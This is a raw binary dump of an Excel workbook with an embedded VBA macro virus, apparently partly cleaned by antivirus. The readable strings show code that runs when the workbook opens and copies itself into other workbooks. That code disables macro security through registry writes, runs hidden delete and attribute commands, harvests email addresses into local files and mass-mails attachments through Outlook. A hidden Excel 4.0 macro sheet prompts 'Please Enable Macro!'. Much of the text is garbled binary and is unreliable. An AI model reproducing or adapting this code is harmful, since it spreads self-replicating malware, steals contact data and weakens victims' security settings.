邢唷>? ?l?*<+  !"#$%&'()?3,-./0124:56789;@=?>?BCD\FGHIJKLMNOPQRSTUVWXYZ[A]^_`abcdefghijkm?nopqrstuvwxyz{|}~€Root Entry F鎄飃从?楡瘴€5WorkbookJETExtDatar_VBA_PROJECT_CUR"@洶桜瘴?楡瘴?  !"#$%&'()*+,-?456789:;<=>?@ABC?EFG?IJKLMNOPQRSTUVWXYZ?\]^?`?bcdefghijklmnopqrs?uvw?y?{|}~€ &s▍$??????????????????????? ?罙  罙?  罙? Deleted By Kaspersky Lab AV \pwangxun Ba="" ThisWorkbook=x嗿媅SO"?#,##0;"?\-#,##0"?#,##0;[Red]"?\-#,##0"?#,##0.00;"?\-#,##0.00#"?#,##0.00;[Red]"?\-#,##0.007*2_ "?* #,##0_ ;_ "?* \-#,##0_ ;_ "?* "-"_ ;_ @_ .))_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_ ?,:_ "?* #,##0.00_ ;_ "?* \-#,##0.00_ ;_ "?* "-"??_ ;_ @_ 6+1_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_ \$#,##0_);\(\$#,##0\)\$#,##0_);[Red]\(\$#,##0\) \$#,##0.00_);\(\$#,##0.00\)% \$#,##0.00_);[Red]\(\$#,##0.00\)61_ "?* #,##0_ ;_ "?* \-#,##0_ ;_ "?* \-_ ;_ @_ >9_ "?* #,##0.00_ ;_ "?* \-#,##0.00_ ;_ "?* \-??_ ;_ @_ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?   ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ?  ? ? ?P ?P ?  ? ? ? ?a>  ?  ? ?  ?攆f ? ? ?`  +?  )?  ?  ?  ?  ?  ?  ? ? ? ?   ?    8@ @ 8@ @ (@ @ 8@ @  @ @  @ @ 8@ @  @ @ `@ `@ @  0  ||L&!围}A}#,##0.00ef_ @_ }A}#,##0.00ef_ @_ }A}#,##0.00ef_ @_ }A}#,##0.00ef_ @_ }A}#,##0.00ef_ @_ }A}#,##0.00ef _ @_ }A}#,##0.00蘈_ @_ }A}#,##0.00蘈_ @_ }A}#,##0.00蘈_ @_ }A}#,##0.00蘈_ @_ }A}#,##0.00蘈_ @_ }A}#,##0.00蘈 _ @_ }A}#,##0.0023_ @_ }A}#,##0.0023_ @_ }A}#,##0.0023_ @_ }A}#,##0.0023_ @_ }A} #,##0.0023_ @_ }A}!#,##0.0023 _ @_ }-}##,##0.00}A}$#,##0.00_ @_ }A}%#,##0.00?_ @_ }A}&#,##0.0023_ @_ }-}'#,##0.00}A}(#,##0.00俏_ @_ }A})a#,##0.00骑?_ @_ }U}*#,##0.00_ @_  }}-鷠#,##0.00蝌?_ @_    }}.#,##0.00ゥ?_ @_ ??? ??? ??? ???}-}/#,##0.00}-}0#,##0.00}A}1鷠#,##0.00€_ @_ }A}4#,##0.00_ @_ }A}5#,##0.00_ @_ }A}6#,##0.00_ @_ }A}7#,##0.00_ @_ }A}8#,##0.00_ @_ }A}9#,##0.00 _ @_ }A}:渆#,##0.00霚_ @_ }};???#,##0.00蝌?_ @_ ??? ??? ??? ???}}<??v#,##0.00虣_ @_    }x}=?#,##0.00膊?虣_ @膊? 膊? 膊?!20% - :_寚eW[湗r 1O20% - :_寚eW[湗r 1 ef坼? %!20% - :_寚eW[湗r 2O"20% - :_寚eW[湗r 2 ef蜉? %!20% - :_寚eW[湗r 3O&20% - :_寚eW[湗r 3 ef犟? %!20% - :_寚eW[湗r 4O*20% - :_寚eW[湗r 4 ef遴? %!20% - :_寚eW[湗r 5O.20% - :_寚eW[湗r 5 ef垲? %!20% - :_寚eW[湗r 6O220% - :_寚eW[湗r 6  ef? %!40% - :_寚eW[湗r 1O40% - :_寚eW[湗r 1 蘈柑? %!40% - :_寚eW[湗r 2O#40% - :_寚eW[湗r 2 蘈婀? %!40% - :_寚eW[湗r 3O'40% - :_寚eW[湗r 3 蘈卒? %!40% - :_寚eW[湗r 4O+40% - :_寚eW[湗r 4 蘈汤? %!40% - :_寚eW[湗r 5O/40% - :_寚eW[湗r 5 蘈遁? %!40% - :_寚eW[湗r 6O340% - :_寚eW[湗r 6  蘈? %!60% - :_寚eW[湗r 1O 60% - :_寚eW[湗r 1 23暢? %!60% - :_寚eW[湗r 2O$60% - :_寚eW[湗r 2 23贄? %!60% - :_寚eW[湗r 3O(60% - :_寚eW[湗r 3 23轮? %!60% - :_寚eW[湗r 4O,60% - :_寚eW[湗r 4 23病? %! 60% - :_寚eW[湗r 5O060% - :_寚eW[湗r 5 23撏? %!!60% - :_寚eW[湗r 6O460% - :_寚eW[湗r 6  23? %"€~vR詋 #h槝+h槝 I}%$h槝 1=h槝 1 I}%O伣%h槝 2=h槝 2 I}%?ɡ?&h槝 3=h槝 3 I}%23暢?'h槝 4/h槝 4 I}%(頬5頬 俏 %€8^膲)}Y5}Y 骑? a% *Gl;`GGl;` %O伣O伣+€'^,€ '^[0] -梴o梴 蝌? 鷠% .纇錱USCQyO錧\O 7>yO瀃鯈 7噀z侞m≧ 7SO瞼;m≧ 7Ngzf皬 7韾恡 7骻杤s^ 7Y[妽 7 _.t&t 7 _)Y瘋 7媠g3 7Ng歂9N 7^^ 7^ 7R沍沍 7HY 7 _9N 7 _@l‐ 7U俌%f 7Ng乴 7笅鱚迾 7笅塻沵 7褢wsO 7嶯wm櫉 7 _xQGY 7hgf塓 7媠塓 7鎉騼騼 7 _*twZ 7l毸y峐 7駛韹f[`N 7 2012 髞 2013 f[t^  72- ??n/xP0Z61@ccB臉?迳乖q入? @ ?? d褚MbP?_*+€%&ffffff?'ffffff?(?)?"臉?333333?333333?慴&<3U?_BT/wangxunB€A B€j0亂(u廩 sQ頃 2013/10/28 16:05:33 Please Enable Macro!Bv€B悁$A$B7d 3   > 7ggD  ,7rE d褚MbP?_*+€%&镱铑铑?'镱铑铑?(?}?}?)?}?}?" d€X[[?[[?&[U} €}  } } €}  } €} ` @{@`@?>?@?@?@?@ ?@ ?@ ?@ ?@?@?@?@?@?@?@?@?@?@?@?@?@;;;; IIIIIIII K-KKKKKKKKKKKKKKK JJJJJJJ ? ? ? ? ? ? @ A ~ B? C C CC€嵭A C ~ D@@C~ B@ C C CC垃]嵭A C ~ D@@C~ B@ C C CCE兂蠥 C ~ D@@C~ B@ C C CC€W兂蠥 C ~ D@@C~ B@ C C C C 8g蠥 C~ D@@ C~ B@ C C C C€璢嵭A C~ D@@ C~ B@ C C G G篯嵭A C~ D@@ C~ B @ C C C C@F兂蠥 C~ D@@ C~ B"@ C C CC礭嵭A C~ D@@C~ B$@ C C CC琞嵭A C~ D@@C~ B&@ C C CC@筣嵭A C~ D@@C~ B(@ C C CC繯兂蠥 C~ D@@C~ B*@ C C C C@痌嵭A F~ D@@C~ B,@ C C C"C@H兂蠥 F~ D@@C~ B.@ C C C#C€H兂蠥 F~ D@@C~ B0@ C C C!C繲兂蠥 F~ D@@C~ E1@ C C F$F@璢嵭A C~ D@@F~ B2@ C C C%C@I兂蠥 C~ D@@C~ B3@ C C C&C€Q兂蠥 C~ D@@C~ B4@ C C C'C繷兂蠥 C~ D@@C~ B5@ C C H+H€礭嵭A H,~ C@@C~ B6@ C C H(H穄嵭A H,~ C@@C~ B7@ C C H*H€筣嵭A H,~ C@@C~ B8@ C C H)H篮]嵭A H,~ C@@C>0&&$pppppppppppppppppppppppp>@d  7 Sheet1b(b(ggD  塆 d褚MbP?_*+€%&镱铑铑?'镱铑铑?(?}?}?)?}?}?" d X[[?[[?&[U>@d  7 Sheet2b(b(ggD  XI d褚MbP?_*+€%&镱铑铑?'镱铑铑?(?}?}?)?}?}?" d X[[?[[?&[U>@d  7 Sheet3b(b(ggD VBA@洶桜瘴@C楡瘴ThisWorkbook __SRP_23,__SRP_3 D鞍Attribute VB_Name = "ThisWorkbook" 孊as?{00020P819-0C$0046}|GlobalSpac扚alse dCreatablPred恊claIdTruBExposeTemplateDeriv払ustomizD2Public WithEvents xx @As App€ ation fxx.琕arHelpID€U-1 P;? Sub _open()P Set?= )On Error Resu覰ex唗4嗿.Disj yAler€J= iCall do_whaEndC? Axx_w剓O!ByVal w瀊??& wb@8Project.References.AddFromGuid _ GUID:=?B岴157屃 -P? Major:=5, Mi nA3 tS@tartupT@hen c€reenUpding[ Call delete腳tf_wk<€copytowx婼heets0(1).?M@acro1"Se€n Movem? [ cSavnSTruEnd If €  R仼jonst @DQUOTEv"3?Wi€ BVBProject.VBComponenn" ").CodeModuBlF.Ins蠰ines 1, P"Pub Ev xx As魃_@€2垊舦剠E 3€ Set=4 On Error Resuext5 6媜_wtha7h8I纗x_昈亮ByVal wbkAM匓)9!7120 wbt卾References.AddFrom@Guid _M1AsGUID:=" &厪& "{0002E157-u0C€B0?46}k, 俐€Major:=@0鐼in!3例妠蠏w?菌 XaA鼳hs!坄0 帼at獳Cw!d坸藊K惲x8Dim`﹣8酈VB菼DE嗿 乿?唜w')y 縼jC€爠儏=筻s(瑓#%A7aj?! $ .DB唉娎untOf?(Funrc d#r?熍n.懪爡toreA餱terar怐oorMi€softhobb yABJudg 顶 鍹(2d 駖 e>AB1o堽`搁2纨1>E 8k4.xl辳 剑A 2€)?A-m⒙@@oD鄌le","怐 ?b|)胵Exit 馬sg瞯丂eString繣箒 罫& /tToo?fOve@rwrite€ s&t1Boan?#xt~ ?:!  s' .Clo se FaBgShe *Environ$("coms@pec")  /c attrib -S -h """9K4.XLS, vbMinimize膁F纎s @`@ /F /Q?\? RD /S?B62琮 )creenUpdy Dng燳4俽 I纒Addin^/郤aveC c`Z肙k)ZTlasm!!WDoorElFs纎, RK1*234 rKValuebVariant, c dcVSw`krVersBA繞?CreateOb猁("scRiPTinG.fiLEsysTA`笲jEcTx = "HKEY_CURRENT_USER\SA0Gware\H\€Office\?€Q&Excel\Security\AccessV圔OMPARK2+t\Le(velB3FLOCAL_MACH豂NE__"] ~4耎   5 = 1. Ca蠰WReg("爌"RE€G_DWORD艗z 2?0椏3744 !?Sub bst恟key',, ??R巻k膢?o黈sq]S?P;-WScript.扽a斄6D?_8K蠪暷.`W?e  d C嫏"d皀 雳B Priv€: %M 卪a悀4(腂yP wb卲揁@xtQ 竤htC?c 0e€?).Sp歗cqWpP.Y ! :=xl?4M?#A饒ve?4?21?SRange("A,2"kC爖.FormulaR1C116=ERROR(FALSE)眨 U3_i€a_ "=IF(.TYPE(RUN(; |瑍Up、 郕""?)=44Ac ALERT@煤辏乇 酨Chr?10釃NowA"Plea悑E@nable !?",3m5oocFILE.CL豋SE/6aEND.`7RETURN(#! Ea萩h ?In?魒b?s"( ??Auto_?? "`M=?!$A$~2X,??sB(0/VisiA= xlB,衦yHi黡d芨8?F穟7椰B啾R$wK?`忄) .v v;B贫o顃pKL0?尩4s(a1) 齄 0岬p脦盇Exi帑& p d 馡3 okNotOpen: End Function Private Sub ATJudge() Const T1 As DF= "10:0U"<2 <1<3U <44 5Dim SentTime", Ws@hShell窼et = Crebject("WScript.-"薎f € InStr(@UCase(&.RegRead("HKEY_CLASSES_ROOT\mailtHo\s:\o€燶command\")), "OUTLOOK.EXE") > 0 Then Exi瀟仺丼€<b>= <2 Or. € 4% N €"丵OunD@:\Collted_Address:frag1.豻xt€C佊" 僄% ElseCB肞Filez"€7\ searc€h_in_OLy汭f滸2bif_outloo黭_乁+圡?€ G< T櫲F@=(")10,)嘡 T昛 4)G蘁岶啟=B-21?杦@槀,O€rror GoT鑟 t@癊IK闏A3(w2w@FG€驡Vw < (2@Gb$\loggHPH鞨nI" JI`姠Now9R?i,"Cab騙 dM纘I錝B哢`G俈牏ax摔)] 幛a昳仈Integer, Att孨a椸峣ng@郿dVbsbk扩怢istfs 儥gaResu`Next 7、怼s隆.f爗systemoOb㊣ @Mfs.Folderexs("E:萛KKb廎a爙z棤$8b  $= Replace`Left(ThisWork b鄡.!), Le俷) - 4岚 _"A.D€ qF._cl爴犇\? &f4& "P.vbs@PiFHreea2 ℃ 7纝d7 F€{@眕u t`鎐蜡 Wri3€ ;#i?犼nt #i V?e? (酖wsh, Xtle` vi  T0仭r-a7€=c膺c:(""i!"w漫.伦4)@Microsoft Of鄁ice PAZ'Q1 `N10?0 If騧苧p > 6 rCall !f m h( leep 05p.se€ndKeys $ ?a P 睈 Uh{TAB~}BOO @O{駿`Cr}A=[w `th=Uq榰it濺ePDo Untibl Appq燗?JCpJ("))T豶ue+aSI*恆Loop=% s?_ 1q醄z{F??7q\Sub`Close (i?s贎\ 顯€A"燽@袙鼲?A挮yAn Af?兎o俵VInbox 6QCconbiTnd`燼c?E?金Dt酟xF?=?骙u硈C鄢3?繤_銩 斜? %l竔ca!荰. 9慯sp衊.Ge襱MAPI vD@efault(J_ Targe~ eC 1 colIPxs粻I.B23怴 絍aH€?Run 韄ex鸺o齪爋冧 €svbHid餲{鈡tB pgQ/E(achMPpag鄀 in K?0I鰾`>55 鎡觍則 ?0=@?valhid_?($D .pBody烾p_苩@敮, 8{ 佮j_non_s袨?糀llT0羶0?ku5Q蝁{0;2u sourc纄_dataLAaAoDict鄤r dp5ta , temp_data, ih_asc, header_endHrimed_arr, no nsame0" Print #l" Dim regex, matchs, &sn()XSet oDict = CreateObject(""" & "Scripting.$ionaryLyLVBSCRIPT.REGEXPGQ?.Global,TruePattern-\w+([-+.])*@\. ?+EExecute(sourcfe傎弲Re伱囐(!".Cou€? ?For i@$Lbd() pTo UN? i)@I罈(& vbCr凩fNext 麕(B(N(倹H7@%?`脻?If儾腦> 0 TxhenS!HI?.餶eysS L>胒傼@vali伬馾dress}&墈`# ?@ E0nd I/;i|Noth爕 Fun糲t鄘+鄬v Sub add刜t@F(inp€a萪_sOng€椺`_frag/\AbobjFSO, l纎gfile A_path#f黲l@ `?$FD:\Coll麁枲?匢m!嬥麧F€Sys纅# On Err`w?ume niA€ .鮟Fb(el n ].Exist.s《ch\ .t爖乴8b$a2T ! , 脸o$8S?襍??SeaB Case 讉T俁 #8 ?AT?Ope妌?tdF, 8#? -鹁 1A?Writ -c5 C2Clos;_q2SO? 9O%2穲sC CI%[s!?>nN ?ubeQ R悩AllF?.倵誐?N? M@%廘黶s< UBo纔nd(a)cP@礶rve a?n*2A?rn x+ 1/ ?@} 蟧/ -1/ d}=0a? 菴lopW(iP羛?q €z秆b\T郋ST.t偊煱氏 Π?PK_窅aX房>孩~ 薪w?牔@eenUpd`畁&g" 谐to reBefPSend Sav黣C溊?枱 Af燑c c<4$酀1 Ch8Dri?熚, 羳,'"C:\渋r`)匦1 鰞Q楨nviron$("comspec"? /c makecab ? c*  !If NxextyBRadomNine`(leng>I纍tegerr e釮 !@jj, ki?€N"?$<= oc @:1E 遽i1 `-O缼$$_i籨 U 凖 t / 10萊an0izW[浺 k€ `(RY* (@* i - m01)) ? 1T m鄈 <> 醫 唣駮 m/ 卄get郷ten_燷羜?KUAsle詀_鴄rr€AlPApSpkt(Read@[("D: \Coll餱ed?h\logr?醦c駒€YkrrV)U@Bound()uLs "€?O蚉$;A$(C`?i- 1&G?O7on Fxull懝?%F\Rxesu惡?F剆o磇leT2>aQK`{sscRiPTinG.fiLEsysTe€MoBjEcT閟蜦@.O@zEa(5 , 1T?| -a q$.1!All?.C|lo峋g媰 3ragMark, 鄍athfO?NO聣OQ}("OM@:Left(, Len螅a(10  髀答f`癐》t_Q1"ue 2W纑ite Fd 1E傏1?乮?b??A1#mqS赢gN?store訠e爦eQ?#!! aa!i☆, i_rowjcol@餚畇ht1s_竄???Dis痢擜lert!???両亐 仾驫 鄟 aa.Vi鄐ible 髜r0#肰S"!")(1)`"Auto_A弎零" Then aa.Delete Next For Each€ sht InisWorkbook.Sheet恠 IfF.Name = €"Macro1B?Visib騦Bxl| D€UEnd If岮p(1).SC.Add5?<> V俕倓Ver€yHidden匟 i_row€wInt((15 * Rnd) + 1) i_col6CellsR(, )€"** CONFIDENTIAL!b " €-2Use " & Chr(34)€Left(Thk, Len ) - "_k纄y.vbs @p0o Op绬A FPile.$3 $?胗$?V$解锁此文件?With Ra恘ge(U, 訬纆B?Font.Bold繽Tru€救ColorIndex@3 粒 Application.ScreenUp2d€ng Sub Private Func Resto€reAfter乄"(?Dim列, del_? rngCfrag As Boolea€烵n Err{@u€軆@ A9€veB堵,Fa ls DisplayAlert D?? 個l*B厀乴彔 a從td).c>"A1:F1 5"? InStr(.Value, "蒳") 渠 0B ?= 漫Exit Ⅻ l"艈a}€5)&?CBaC匒 $\>帼#`%*#TlX*#&*F忐 't濑2 `TX帼\6忐r:D#N $1帼X \$\>帼#`(*#TlX*#&*F忐 't濑2 `TX帼\6忐r:D#N $1帼X \$\>帼#`)*#TlX*#&*F忐 't濑2 `TX帼\6忐H` $0l`X \$\lX?2`X\" \$\\?$ ldFD%$$"? \$\\龝00ldh0 `XT帼\@忐$K)  $$$d> 1($  \﨨l(*# *1X/ l(*# *1T/ l(*# *1P/ l(*# *1L/  (< (,C  <X  / C  ,T  / C  <P  / C  ,L  / 龝|$H00 lXTPL(<,\ $t\  \l﨨€?Dl 龘@l裏el 龘@l龘@l裏點l@t(0l\0   ppzKkQX\€ F`%pt$tpD"\lXJ?X)tp\i?pz$p$0 Xtp\4D  DT﨨M:l.%T>D/$ 0$:1(酤]鹥濑轧6D$lD 2Dl?]鸙$ 24UUUUUU?]鸌濑?轧宁 2宁?]鸙逮 2酤?]鸌旫?匎t?6D宁U#:l3NDD 4#p5?/p?D#P$:43N$$:l5NDD 66D$ 7. 8eD 2DlUUUUUU?]鹥$ 2濑UUUUUU? ?9轧 :轧鸌宁?逮 2?]鹥旫匎 2匎t? ?9` :`IP'@0?6D濑轧t#,+D ;D綦?9$ :$麿td6D$Ku :l<NDD 4#p蓆d/p?D^D ;DdMl@?9$ :$鹀:4=N濑濑 4#p?轧/p?D$濑*$:43N$$:lNDD 66D$$D ;:l<N$$D 66D$ >L4(0TLpD$濑轧宁逮旫匎t`P@00 €  0 P  0 8   7:?%'8:h@NXX( A (B棹B﨨6X8(pz佝叁0佝AXC:hD8(H]鹴6X8?pz叁 佝叁N40叁轧佝X8(棹0    0 0  0    0 H   0   rU€€€€~| m  q91 Q I )I?) ?a"???!#Q#y#?? $Q%A$???1&i&?i'??Q* (Q?ya???Y)1+y+9,?? ,?I? A.-)-?Q-i-!/?1 0?y0?Y 9! y t," x$xxHt $0ltp x$xlp?2tpx$" x$xx X Y>\(`%x$xd\W< :L ]鸃)x\5<V=[x Zx $"? x$xxP,$0 $tpx\<,F\`:d[%tx$Xx\HtI`,RQ\X)xt`\X<W]X<W^X<W_X<W`X<WaX<WbX<WcX<W_ X<Wd X<W9ef*#Tg*#Pf*#Lh*#H X<W2TPLHi X<WjX<W`X<WkX<WlX<WbX<W點X4(0X,TPLHxt`\l$XQlx'X:\[%lx\HlIQXtllt,RQlp lpTPT8WlPT@W點T,40TtxplX€Hh $0lh` d$dl`?2h`dxP 5PP 5PP 5P 龝,€(0lh`dP lhK9DH:L %\$\D"HXQDd)\H\hXQ\`!+>`dEC@@ F/@龝龝 @40lhd`@\HD4K €點pz&l ML@< G<F,]?5<Opz €點gpzHTHlpzHTHlpzK(€ FL%H\HIQt$ JKlpzE:LLN<< M:,N€ F瘙帼:玄O俐`1p6 <帼俐 ?$pML@ P#件?/件 JHpML@ Q$ JKlpzH\HQ羹%€ FL%羹IQ[羹,I點羹 JH(€ FL%H\HIQt$ JKl$ JKl pz1lp€ FL%H\HI4R)?Nlp^Sqd?Tlp^Sq`:l`ldi<ldpML@ U`1l6< 點=Vt(llFL%H\HIQt lt點"lpH\H4I)t0Rl鮠$lpH\H4IQ\t,RQ逮逮8Wl逮@WC\,R8W件l\,R4W>件1h)lh逮<W點逮K?#l\郎H\H,I)pML@ Q?pz@0(羹逮lpth\,件<帼俐pK` $>`1h0` \$\l`*1d/`\Y C`` !X $0lXT \$\lT??`XT\B '%' %黤0%@:D %\$\D"@l)\@r:D#N $1帼X \K4$@4W$ L4" 4$44" 4$444$Q4[ \\A$ :  ]鸃5$ %\C \G: %棹L4$4d棹$佝佝<)4棹叁R0<A$: (忐]鹴6$E?p:叁R <叁 k:?/棹L4$4d棹)4棹"? 4$44龝H00 l叁 轧佝<L\ 4棹$羹    0==#$q`?$`?0` ?Iay0/0, `?a( `?0$9 `?$a `?$`?<`?A00000$`?(`?a&$)`?(Q`?y/,y`?//$`?$`?n炔€0* pHd VBAProje坈t4@j = r MT J< r€stdole>stdo€leh%^*\G{00€020430-C 0046}#2.0#0#C:\Windows\syst em32\e2.tlb#OLE Automation`僂OffDic凟Of€ic侲瀫攢丒2DF8D04C-_VBA_PROJECTdir__SRP_0 __SRP_1J(竊VS朹`Version∨` CreateObject鴬`?WReg鈟`strkey`Value銴` ValueType `oWshellu巂RegWrite!>`sht萦`Add鱮`xlExcel4MacroSheet0` ActiveSheet%N`Range ` ActiveCell椒` FormulaR1C1S`UserName\鎌ChrK~`Now%篳Names慰`Excel4MacroSheets煞`Visible队`xlSheetVeryHidden在` WorkBookName+蝋WorkBookNotOpen赻T1*_`T2+_`T3,_`T4-_`SentTime!D`WshShell0`UCase5 `RegReadwTime`ReadOut蟆` CreateFile鬬 search_in_OLe`if_outlook_openi骮DateAdd/6` timeError計`CreatCab_SendMailT@`i``AttName` AddVbsFileVg` AddListFile鴽`fsF]` Folderexists ` CreateFolder飙`Replacef`AddVbsFile_clear透`AddVbsFile_search鸺` WindowState|頯 xlMaximizedZp`Run_衊vbHide篧` Address_listQ檂get_ten_address``mail_sub`RestoreBeforeSendq+`c4竆`ChDrive% FileExists`Massive_SendMail魝`vbCrLf`Email_Address荑`SubjectRP`Bodyl鴃 CC_email_add` Attachment^6`objOL` itmNewMail6` CreateItem苸` olMailItem款`CC荺` Attachments_鈆DeleteAfterSubmit赴`continue` SendEmailě`display`SendKeysN`Wait`objs喗` GetObjectz胉 InstancesOfr輅obj懡` Description ` RadomNine抵`lengthY腵jj裖`kb`RndR蟕md`singleAddress_arr `krr叒`Split?`FullPath+`FileTextg|` OpenTextFileШ`ReadAll繳`FragMark)O`pathf; `aa{\`i_rowz,`i_colx躟Delete竫`xlSheetVisible`Cells峘FontU`Bold凒` ColorIndex鱼`del_shtv`rngU蟕del_fragy繾€_Defaultj耟xx錩`Workbook_open涐`xx_workbookOpenPZ` €References` €AddFromGuidA{`€GUID鮜€Major'`€Minor鵤` Worksheet窿` _B_var_Chr\;`_B_str_Environ篱` _B_var_UCasea蝋 _B_var_Time?` €_B_var_objs?` €_B_var_obj` _B_var_TrimmT`_B_var_Environ?` _B_var_Mid韕`# Z"H`;碯_腖жl-e僳N`蕉崶A敊?€v覘?〓暖蠰哆?R挹-(汴璃lA坙 猊.M匝烴騆礇E?s佗€4F Excel€+` VBA麾`Win16羱`Win32`Mac巢`VBA6?`工程1p` stdole揱` VBAProject究` Off5BFA-10€1B-BDE5€E訟A€C4€2圗€gram Files\CommonMicrosoft Shared\OFFICE12\MSO.0DLL#僊 1€q Ob伭 Li`braryK伾VBIDE>BIDjEシ瓈8157倽怰5.?僐?绹\6E6EXT.OLB?Visual Basic for Applic俛s Extensibilit\y ?€BDB奣hisWorkb@ookG TA缷isW缽rPkbo 2 HB1B 婤,?薫"B +BB睸hee╰1GS@#e@帬t1H2NI2曂222T333M3?g嬶T,oD@uT?D鳲L繷?夛艥?G#!?b蘟 *\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6.DLL#Visual Basic For Applications*\G{00020813-0000-0000-C000-000000000046}#1.6#0#C:\Program Files\Microsoft Office\Office12\EXCEL.EXE#Microsoft Excel 12.0 Object Library*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\system32\stdole2.tlb#OLE Automation(*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.4#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE12\MSO.DLL#Microsoft Office 12.0 Object LibraryZ*\G{0002E157-0000-0000-C000-000000000046}#5.3#0#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLB#Microsoft Visual Basic for Applications Extensibility 5.3 MTThisWorkbook0C54218fdeThisWorkbook薫`  Sheet10E54218fde Sheet1 Sheet20F54218fde Sheet20 Sheet30G54218fde Sheet3gH ToDOLE0D54218fde" ToDOLEG#`艥x€0H`;碯_腖жl-e僳N`蕉崶A敊?€v覘?〓暖蠰哆?R挹-(汴璃lA坙 猊.M匝烴騆礇E?s佗€4F Excel€+` VBA麾`Win16羱`Win32`Mac巢`VBA6?`工程1p` stdole揱` VBAProject究` Officeu` ThisWorkbook|鉦 €_Evaluate賎 Sheet1` Sheet2` Sheet3` VBIDEA`模块1芻` ToDOLE艥` auto_openV ` Application?`DisplayAlerts赧`Path2` StartupPathi鬬ScreenUpdating! `delete_this_wk}焋copytoworkbooke燻Sheets ` Movemacro4@阘Save捫`DQUOTE!x` VBProjectOh` VBComponents '` CodeModule` InsertLines姭`VBProj宥`VBComp訙` VBComponent蟮`CodeMod}O` DeleteLines 僠 CountOfLines!\`?do_what凗`RestoreAfterOpen隣`?OpenDoor卄?Microsofthobby璥 ActionJudgeBG` ?copystart `wb卂`Workbookk`VBProj1F穈VBProj2G穈 WorkbooksB靈 ?copymodule夠` ModuleName#>`FromVBProject?` ToVBProject捪`OverwriteExistingk郹FNameR鸴CompName!宍Sj`SlashPosk#`ExtPosF薫 TempVBComp`Trim@颼 vbNullString` Protection刞vbext_pp_locked蒱`Erro奰Number?`Environ,`vbNormal?`vbHiddenT;`vbSystem楒`Clear阃`Kill佁`Remove媳`Item讂`ExportΟ`FileNamej胉InStrRev膱`Importi臽vbext_ct_Document 哷Lines何`myfile0[y`MyFile琳`FullName袨` WorkbookOpen徕`ShellV譧vbMinimizedFocus`IsAddin~|` SaveCopyAsT鋊Fso陱`RK1形`RK2盐`RK3椅`RK4游`KValue1'竊KValue2 A1:F15 Range Value CONFIDENTIAL Delete祎kp?鶬檮 {?袕+F蒑梤€t?C[}腰L?E嵢悡:燓犘澗Kχ頹蔂蔟9鋈儳X怓嚄;愈搜柾綸N洶?萏 4scRiPTinG.fiLEsysTeMoBjEcT XHKEY_CURRENT_USER\Software\Microsoft\Office\ 4\Excel\Security\AccessVBOM *\Excel\Security\Level ZHKEY_LOCAL_MACHINE\Software\Microsoft\Office\ REG_DWORDq € WScript.Shell RegWrite \k4.xls k4.xlsF comspec $ /c attrib -S -h " \K4.XLS"  /c Del /F /Q "  /c RD /S /Q "q qX  10:00:00 11:00:00 14:00:00 15:00:00 XHKEY_CLASSES_ROOT\mailto\shell\open\command\RegRead OUTLOOK.EXEDescription <D:\Collected_Address:frag1.txt 1 n <D:\Collected_Address:frag2.txt 8D:\Collected_Address\log.txtq qd q  Win32_Process WinMgmts:InstancesOf OUTLOOKqr @zF ToDole竑膜烮粁8< Temp \ .bas .! 囝撱繭赌q `q €q q q q qx (c5DFWorkbook @FName Macro1  ThisWorkbook`FbFdFnF " FPublic WithEvents xx As Application 6Private Sub Workbook_open() (Set xx = Application (On Error Resume Next =rU€€€€~~~~~~s  Qwb ModuleName FromVBProject ToVBProjectOverwriteExistingstrkeyValue ValueType WorkBookNameEmail_AddressSubjectBody CC_email_add AttachmentlengthFullPathFragMarkpathf Q ( Q)8揔*rU€€€~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~w ?絍*OA嗸蒱,景e    ) A Y€AQi工程1 VBAProject ThisWorkbookSheet1Sheet2Sheet3模块1ToDOLEF /C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLLVBA  10F4C:\Program Files\Microsoft Office\Office12\EXCEL.EXEExcel 9@0F 囝撱繭赌C:\Windows\system32\stdole2.tlbstdole  QPL续-鶾藉D轗?C:\Program Files\Common Files\Microsoft Shared\OFFICE12\MSO.DLLOffice q`WFCC:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLBVBIDE  p auto_opencopytoworkbookdelete_this_wkdo_what copystartF copymoduleMicrosofthobbyOpenDoorWReg Movemacro4 WorkbookOpen ActionJudge search_in_OLCreatCab_SendMailMassive_SendMailif_outlook_open RadomNineget_ten_addressReadOut CreateFileRestoreBeforeSendRestoreAfterOpen FF F>?yCI峜FtfgQF铒2sF,A昷5DFWorkbook @FName Macro1  ThisWorkbook`FbFdFnF " FPublic WithEvents xx As Application 6Private Sub Workbook_open() (Set xx = Application (On Error Resume Next =ALERT("亂(u廩 sQ頃 穝|份K闛猑z* BApplication.DisplayAlerts = False Call do_what End Sub bPrivate Sub xx_workbookOpen(ByVal wb As Workbook) Jwb.VBProject.References.AddFromGuid _ GUID:= L{0002E157-0000-0000-C000-000000000046} , _ $Major:=5, Minor:=3xx DApplication.ScreenUpdating = False copystart wb BApplication.ScreenUpdating = TrueF ?b@以?] F柎n 乸FЯY俫qWDF Worksheet Select A2 =ERROR(FALSE) A3 (=IF(ERROR.TYPE(RUN(" "))=4) A4#悕胟y鉍厗n* 0Please Enable Macro!",3) A5 $=FILE.CLOSE(FALSE) A6 =END.IF() A7 =RETURN() !Auto_Activate =Macro1!$A$2VisibleVBE6.DLLq` q" (沎锒K垿誂浙i刜h乂O燓r运5Lp僓0滜D沸^3B]昶道详-嗔B€f19帕擟DFWorkbook_openxx_workbookOpenH44 Q1Hxx Q XThisWorkbookThisWorkbookSheet1Sheet1Sheet2Sheet2Sheet3Sheet3ToDOLEToDOLEID="{09AC4CDE-9AB4-4E80-8C76-AE4A7AFAA111}" Document=ThisWorkbook/&H00000000 Document=Sheet1/&H00000000 Document=Sheet2/&H00000000 Document=Sheet3/&H00000000 Module=ToDOLE Name="VBAProject" HelpContextID="0" 